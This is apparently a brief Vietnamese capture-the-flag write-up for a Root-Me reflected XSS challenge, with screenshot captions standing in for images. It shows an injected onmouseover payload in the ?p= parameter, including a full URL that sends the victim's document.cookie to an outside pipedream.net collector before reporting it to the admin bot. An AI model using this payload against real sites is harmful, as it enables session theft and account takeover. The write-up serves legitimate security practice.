Đầu tiên kiểm tra thì thấy thông tin trường ?p= không an toàn, có thể truyền payload

Graphical user interface, application

Description automatically generated

Thử chèn payload tấn công

http://challenge01.root-me.org/web-client/ch26/?p=tmp%27%20onmouseover=%27alert(1)

Graphical user interface, application

Description automatically generated

<http://challenge01.root-me.org/web-client/ch26/?p=tmp%27%20onmouseover=%27document.location=%22https://eon5wu9esj2rcgn.m.pipedream.net?%22.concat(document.cookie)>

Gửi payload và nhấn report to admin

Graphical user interface, text, application

Description automatically generated

Ta có được flag

Graphical user interface, text, application

Description automatically generated